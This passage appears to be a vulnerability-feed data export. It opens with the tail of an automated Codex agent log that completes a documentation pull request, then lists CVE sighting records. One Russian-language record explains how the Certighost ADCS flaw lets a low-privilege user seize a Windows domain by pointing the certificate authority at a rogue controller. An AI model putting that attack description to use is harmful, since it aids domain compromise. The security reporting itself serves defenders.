Shutting down Codex instance\n[2026-07-12T04:11:14.251Z] [INFO] \n[2026-07-12T04:11:14.264Z] [INFO] 2026-07-12T04:11:14.250711Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.shutdown\" submission.id=\"019f5485-abb7-7720-a917-e1e1dc1b3621\" codex.op=\"shutdown\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.conversation.turn.count\" cardinality_limit=2000\n[2026-07-12T04:11:14.264Z] [INFO] 2026-07-12T04:11:14.254960Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.shutdown\" submission.id=\"019f5485-abb7-7720-a917-e1e1dc1b3621\" codex.op=\"shutdown\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.rollout.size_bytes\" cardinality_limit=2000\n[2026-07-12T04:11:14.264Z] [INFO] \n[2026-07-12T04:11:14.270Z] [INFO] 2026-07-12T04:11:14.255326Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::session::handlers: Agent loop exited\n[2026-07-12T04:11:14.270Z] [INFO] \n[2026-07-12T04:11:14.296Z] [INFO] 2026-07-12T04:11:14.259504Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:11:14.296Z] [INFO] 2026-07-12T04:11:14.259589Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:11:14 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"881fd6c0-6fa6-42bb-8a81-e144edd3354d\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=4zX7W1NXYAftvKqaUBunN6YroqnMiA9%2F7MtKGQLhC1x%2FdO5KSAoK1I4fwHh62uIMHSFMWxsl7VixJrYHxfs1RrYLbJ1AmJGp%2FnxBufVStf4fzUfQuH8ujNzMGxqQ\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d33e4ee4cbb67-FRA\"} version=HTTP/1.1\n[2026-07-12T04:11:14.296Z] [INFO] \n[2026-07-12T04:11:14.296Z] [INFO] 2026-07-12T04:11:14.284463Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::transport::child_process: Child exited gracefully signal: 15 (SIGTERM)\n[2026-07-12T04:11:14.296Z] [INFO] 2026-07-12T04:11:14.284538Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: serve finished quit_reason=Cancelled\n[2026-07-12T04:11:14.296Z] [INFO] \n[2026-07-12T04:11:14.378Z] [INFO] 2026-07-12T04:11:14.373690Z DEBUG codex_otel::metrics::client: flushing OTEL metrics\n[2026-07-12T04:11:14.378Z] [INFO] 2026-07-12T04:11:14.374046Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToFlush\"\n[2026-07-12T04:11:14.378Z] [INFO] 2026-07-12T04:11:14.374064Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:11:14.378Z] [INFO] \n[2026-07-12T04:11:14.415Z] [INFO] 2026-07-12T04:11:14.410609Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=9 time_taken_in_millis=36\n[2026-07-12T04:11:14.415Z] [INFO] 2026-07-12T04:11:14.411778Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:11:14.415Z] [INFO] 2026-07-12T04:11:14.411805Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:11:14.415Z] [INFO] \n[2026-07-12T04:11:14.425Z] [INFO] 2026-07-12T04:11:14.414609Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:11:14.425Z] [INFO] \n[2026-07-12T04:11:14.447Z] [INFO] 2026-07-12T04:11:14.447013Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:11:14.447Z] [INFO] \n[2026-07-12T04:11:14.473Z] [INFO] 2026-07-12T04:11:14.471457Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:11:14.473Z] [INFO] \n[2026-07-12T04:11:14.477Z] [INFO] 2026-07-12T04:11:14.474176Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:11:14.477Z] [INFO] \n[2026-07-12T04:11:14.479Z] [INFO] 2026-07-12T04:11:14.478545Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:11:14.479Z] [INFO] \n[2026-07-12T04:11:14.503Z] [INFO] 2026-07-12T04:11:14.502747Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:11:14.503Z] [INFO] \n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.503715Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.503895Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.503926Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadAdjustingRemainingIntervalAfterFlush\" remaining_interval=58\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.503936Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=58601\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.504160Z DEBUG opentelemetry_sdk:  name=\"MeterProvider.Shutdown\" User initiated shutdown of MeterProvider.\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.504223Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToShutdown\"\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.504238Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.505388Z DEBUG opentelemetry_sdk:  name=\"NoMetricsCollected\"\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.505415Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:11:14.508Z] [INFO] \n[2026-07-12T04:11:14.520Z] [INFO] 2026-07-12T04:11:14.519949Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExporterShutdown\" shutdown_result=\"Ok(())\"\n[2026-07-12T04:11:14.520Z] [INFO] 2026-07-12T04:11:14.520013Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExiting\" reason=\"ShutdownRequested\"\n[2026-07-12T04:11:14.520Z] [INFO] 2026-07-12T04:11:14.520020Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadStopped\"\n[2026-07-12T04:11:14.520Z] [INFO] \n[2026-07-12T04:11:14.607Z] [INFO] \ud83d\udcdd Final Codex message captured in /tmp/codex_last_message_1783828932620_1.txt\n[2026-07-12T04:11:14.614Z] [INFO] Implemented and finalized [PR #6](https://github.com/link-foundation/meta-ontology/pull/6).\n[2026-07-12T04:11:14.614Z] [INFO] \n[2026-07-12T04:11:14.614Z] [INFO] Key outcomes:\n[2026-07-12T04:11:14.614Z] [INFO] \n[2026-07-12T04:11:14.614Z] [INFO] - Added the complete OpenMetadata case study, source inventory, requirement mapping, raw observations, component analysis, and phased implementation roadmap.\n[2026-07-12T04:11:14.614Z] [INFO] - Added a patch changelog fragment and removed the placeholder file.\n[2026-07-12T04:11:14.614Z] [INFO] - Committed and pushed as `4dcfb8e`.\n[2026-07-12T04:11:14.614Z] [INFO] - Updated the PR title and description and marked it ready for review.\n[2026-07-12T04:11:14.614Z] [INFO] - Working tree is clean and synchronized with `origin/main`.\n[2026-07-12T04:11:14.614Z] [INFO] - Fresh CI passed: formatting, Clippy, file-size checks, ontology coverage, package build, and tests on Linux, macOS, and Windows.\n[2026-07-12T04:11:14.614Z] [INFO] - PR is mergeable with `CLEAN` status.\n[2026-07-12T04:11:14.620Z] [INFO] \ud83d\udcca Codex JSON events: thread.started=1, turn.started=1, item.completed=61, item.started=33, unknown=12, item.updated=3, turn.completed=1\n[2026-07-12T04:11:14.622Z] [INFO] \ud83d\udce6 Codex item types: agent_message=7, todo_list=5, command_execution=56, reasoning=21, web_search=4, file_change=4\n[2026-07-12T04:11:14.655Z] [INFO] \ud83d\udcc8 Codex usage from turn.completed: 109,352 input, 2,200,832 cache read, 16,849 output across 1 turn(s)\n[2026-07-12T04:11:14.662Z] [INFO] \ud83e\udde0 Codex reasoning summaries observed: 21\n[2026-07-12T04:11:14.664Z] [INFO] \ud83d\udcbb Codex command executions observed: 28\n[2026-07-12T04:11:14.668Z] [INFO] \ud83d\udcdd Codex file change items observed: 2\n[2026-07-12T04:11:14.671Z] [INFO] \ud83c\udf10 Codex web searches observed: 2\n[2026-07-12T04:11:14.678Z] [INFO] \ud83d\udccb Codex todo list updates observed: 1 (latest: 6 items)\n[2026-07-12T04:11:14.683Z] [INFO] \ud83d\udcd0 Codex usage fields observed: input_tokens, cached_input_tokens, output_tokens, reasoning_output_tokens\n[2026-07-12T04:11:14.690Z] [INFO] \ud83e\udd16 Codex exec JSON did not expose model IDs; using requested model for reporting: gpt-5.6-sol\n[2026-07-12T04:11:15.884Z] [INFO] \ud83d\udcb0 Codex public pricing estimate: $4.052557\n[2026-07-12T04:11:15.892Z] [INFO]    Long-context pricing applied because peak prompt exceeded 272,000 input tokens\n[2026-07-12T04:11:15.909Z] [INFO] \n[2026-07-12T04:11:15.909Z] [INFO] \n[2026-07-12T04:11:15.909Z] [INFO] \u2705 Codex command completed\n[2026-07-12T04:11:15.918Z] [INFO] \ud83d\udcdd Captured result summary from Codex output\n[2026-07-12T04:11:15.949Z] [INFO] \ud83e\uddf9 Removing temporary Codex prompt file: /tmp/codex_prompt_1783828932620_1.txt\n[2026-07-12T04:11:15.955Z] [INFO] \ud83e\uddf9 Removing temporary Codex last-message file: /tmp/codex_last_message_1783828932620_1.txt\n[2026-07-12T04:11:16.014Z] [INFO] \n[2026-07-12T04:11:16.014Z] [INFO] \ud83d\udcca [DISK] phase=after_agent bytes=428590957 deltaBytes=425179006 path=/tmp/gh-issue-solver-1783828904396 size=409 MB delta=+405 MB\n[2026-07-12T04:11:16.018Z] [INFO] \ud83d\udcc8 Resource usage (after AI execution):\n[2026-07-12T04:11:16.018Z] [INFO]    CPU load: 3.88 5.37 4.59 (6 CPUs)\n[2026-07-12T04:11:16.018Z] [INFO]    Memory: 9.9 GB available / 11.7 GB total (1.8 GB used)\n[2026-07-12T04:11:16.018Z] [INFO]    Process RSS: 111 MB, heap 32 MB\n[2026-07-12T04:11:16.018Z] [INFO]    Disk (/): 148.5 GB available / 192.7 GB total (22.9% used)\n[2026-07-12T04:11:16.018Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=after_agent ts=2026-07-12T04%3A11%3A16.016Z load1=3.88 load5=5.37 load15=4.59 cpuCount=6 memTotalBytes=12541489152 memAvailableBytes=10612178944 memUsedBytes=1929310208 processRssBytes=116322304 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=159451586560 diskUsedBytes=47431917568 diskUsedPercent=22.925013566867968 mem=9.9%20GB%20available%20%2F%2011.7%20GB%20total disk=148.5%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-07-12T04:11:16.020Z] [INFO] \n[2026-07-12T04:11:16.020Z] [INFO] \ud83d\udd0d Checking for uncommitted changes...\n[2026-07-12T04:11:16.084Z] [INFO] \u2705 No uncommitted changes found\n[2026-07-12T04:11:16.085Z] [INFO] \n[2026-07-12T04:11:16.085Z] [INFO] === Session Summary ===\n[2026-07-12T04:11:16.087Z] [INFO] \u2705 Session ID: 019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:11:16.090Z] [INFO] \u2705 Complete log file: /home/box/solve-2026-07-12T04-01-22-890Z.log\n[2026-07-12T04:11:16.094Z] [INFO] \n[2026-07-12T04:11:16.097Z] [INFO] \ud83d\udca1 To continue this session:\n[2026-07-12T04:11:16.098Z] [INFO]    Solve resume mode:   \"/home/box/.nvm/versions/node/v20.20.2/bin/node\" \"/home/box/.bun/bin/solve\" \"https://github.com/link-foundation/meta-ontology/issues/5\" --resume \"019f547d-6d2b-7162-ae64-b2b122b89c77\" --tool \"codex\" --model \"gpt-5.6-sol\" --fallback-model \"gpt-5.6-terra\" --working-directory \"/tmp/gh-issue-solver-1783828904396\"\n[2026-07-12T04:11:16.102Z] [INFO] \n[2026-07-12T04:11:16.104Z] [INFO] \ud83d\udd0d Checking if AI created any comments during session (--auto-attach-solution-summary)...\n[2026-07-12T04:11:16.599Z] [STDOUT] konard\n[2026-07-12T04:11:16.609Z] [INFO] \ud83d\udd0e Checking comments by 'konard' after session start 2026-07-12T04:02:03.320Z (PR #6, issue #5)\n[2026-07-12T04:11:17.050Z] [STDOUT] []\n[2026-07-12T04:11:17.060Z] [INFO]    \ud83d\udce8 PR conversation comments after session start by 'konard' (excluding tool-generated): 0\n[2026-07-12T04:11:17.775Z] [STDOUT] []\n[2026-07-12T04:11:17.787Z] [INFO]    \ud83d\udcdd PR review (inline) comments after session start by 'konard': 0\n[2026-07-12T04:11:18.401Z] [STDOUT] []\n[2026-07-12T04:11:18.410Z] [INFO]    \ud83d\udce8 Issue comments after session start by 'konard' (excluding tool-generated): 0\n[2026-07-12T04:11:18.412Z] [INFO] \ud83d\udcdd No AI comments detected, attaching working session summary...\n[2026-07-12T04:11:20.100Z] [STDOUT] github.com\n  \u2713 Logged in to github.com account konard (/home/box/.config/gh/hosts.yml)\n  - Active account: true\n  - Git operations protocol: https\n  - Token: gho_************************************\n  - Token scopes: 'gist', 'read:org', 'repo', 'user', 'workflow'\n[2026-07-12T04:11:21.121Z] [STDOUT] {\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments/4949893232\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/pull/6#issuecomment-4949893232\",\"issue_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6\",\"id\":4949893232,\"node_id\":\"IC_kwDOSNlfVs8AAAABJwlgcA\",\"user\":{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?u=eef2c91c80a671714d3fd8c08ef91b297840056b&v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false},\"created_at\":\"2026-07-12T04:11:20Z\",\"updated_at\":\"2026-07-12T04:11:20Z\",\"author_association\":\"MEMBER\",\"body\":\"\\n## Working session summary\\n\\nImplemented and finalized [PR #6](https://github.com/link-foundation/meta-ontology/pull/6).\\n\\nKey outcomes:\\n\\n- Added the complete OpenMetadata case study, source inventory, requirement mapping, raw observations, component analysis, and phased implementation roadmap.\\n- Added a patch changelog fragment and removed the placeholder file.\\n- Committed and pushed as `4dcfb8e`.\\n- Updated the PR title and description and marked it ready for review.\\n- Working tree is clean and synchronized with `origin/main`.\\n- Fresh CI passed: formatting, Clippy, file-size checks, ontology coverage, package build, and tests on Linux, macOS, and Windows.\\n- PR is mergeable with `CLEAN` status.\\n\\n---\\n*This summary was automatically extracted from the AI working session output.*\",\"reactions\":{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments/4949893232/reactions\",\"total_count\":0,\"+1\":0,\"-1\":0,\"laugh\":0,\"hooray\":0,\"confused\":0,\"heart\":0,\"rocket\":0,\"eyes\":0},\"performed_via_github_app\":null,\"minimized\":null,\"pin\":null}\n[2026-07-12T04:11:21.134Z] [INFO] \u2705 Working session summary attached to pr #6 (id=4949893232)\n[2026-07-12T04:11:21.138Z] [INFO] \n[2026-07-12T04:11:21.138Z] [INFO] \ud83d\udd0d Searching for created pull requests or comments...\n[2026-07-12T04:11:21.629Z] [STDOUT] konard\n[2026-07-12T04:11:21.663Z] [INFO] \n[2026-07-12T04:11:21.663Z] [INFO] \ud83d\udd0d Checking for pull requests from branch issue-5-e2602184e2c5...\n[2026-07-12T04:11:22.302Z] [STDOUT] [{\"createdAt\":\"2026-07-12T04:01:56Z\",\"headRefName\":\"issue-5-e2602184e2c5\",\"isDraft\":false,\"number\":6,\"state\":\"OPEN\",\"title\":\"Document OpenMetadata best-practice adoption plan\",\"updatedAt\":\"2026-07-12T04:11:20Z\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/6\"}]\n[2026-07-12T04:11:22.316Z] [INFO]   \u2705 Found pull request #6: \"Document OpenMetadata best-practice adoption plan\"\n[2026-07-12T04:11:22.788Z] [STDOUT] ## Summary\n\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\n- Enumerate all explicit and implied requirements and map each to a solution.\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n- Remove the issue-solver placeholder and add a patch changelog fragment.\n\nThe central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n\nFixes #5\n\n## Research method\n\nResearch was performed on 2026-07-12 using:\n\n- all issue and PR comment/review API streams (all empty at collection time);\n- the official OpenMetadata repository and latest release metadata;\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n\n## Deliverables\n\n- `docs/case-studies/issue-5/README.md`\n- `docs/case-studies/issue-5/source-inventory.md`\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\n- `docs/case-studies/issue-5/raw-data/*.json`\n\n## Verification\n\n- `cargo fmt --all -- --check`\n- `cargo test --all-features --verbose` \u2014 18 tests passed\n- `cargo test --doc --verbose`\n- `cargo clippy --all-targets --all-features`\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\n- JSON snapshots parsed successfully\n- `git diff --check`\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\n\n## Follow-up recommendation\n\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.\n[2026-07-12T04:11:22.816Z] [INFO]   \u2705 PR body already contains issue reference\n[2026-07-12T04:11:22.824Z] [INFO]   \u2705 PR is already ready for review\n[2026-07-12T04:11:22.830Z] [INFO] \n[2026-07-12T04:11:22.830Z] [INFO] \ud83d\udcce Uploading solution draft log to Pull Request...\n[2026-07-12T04:11:22.995Z] [INFO]   \ud83e\udd16 Using result JSON modelUsage (1 models): gpt-5.6-sol\n[2026-07-12T04:11:23.292Z] [INFO]   \ud83e\udd16 Model info fetched for comment\n", "creation_timestamp": "2026-07-12T04:13:15.640880Z"}, {"uuid": "eb0bfc1f-5ded-45b8-9dfd-2f365639e650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54088", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88447", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54088-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-12 06:08:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T07:00:04.966262Z"}, {"uuid": "a4ec4966-dc92-4dc0-aa9d-67ac749c856f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/purpleshift/204", "content": "\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0432\u0435\u0436\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Windows Server \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Certighost (CVE-2026-54121) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0434\u043e\u043c\u0435\u043d\u043e\u043c. \n\n\u0410\u0442\u0430\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 ADCS, \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e Certification Authority \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430 (\u0430\u0442\u0440\u0438\u0431\u0443\u0442 cdc) \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0435, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c \u0441 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c (\u0430\u0442\u0440\u0438\u0431\u0443\u0442 rmd). \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e CA \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u0438 \u0432 cdc \u0443\u043a\u0430\u0437\u0430\u043d \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0435\u043c\u0443 \u0445\u043e\u0441\u0442 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 LDAP/LSA \u0434\u043b\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441.\n\n\u041f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043b\u0443\u0447\u0448\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0441\u0435 ADCS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041d\u043e \u043a\u0430\u043a \u0443\u0437\u043d\u0430\u0442\u044c, \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u043b\u0438 \u0432\u0430\u0448\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u0435\u0449\u0451 \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f? \u041e\u0431 \u044d\u0442\u043e\u043c \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0414\u043c\u0438\u0442\u0440\u0438\u044f \u0429\u0435\u0442\u0438\u043d\u0438\u043d\u0430 \"\u0414\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u043c \u0430\u0442\u0430\u043a\u0443 Certighost\".", "creation_timestamp": "2026-08-16T00:00:50.964618Z"}, {"uuid": "37ff0cdd-9f68-444d-a6e2-6918ccc0295e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54469", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqh4weshfl2b", "content": "\ud83d\udfe0 CVE-2026-54469 - High (8.8)\n\nDell Unisphere for PowerMax, version(s) 10.3.0.5 and prior, contain(s) a Deserialization of Untru...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54469/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-12T12:00:36.363161Z"}, {"uuid": "e8b66ee9-9023-4507-9948-dc9e5b12b97e", 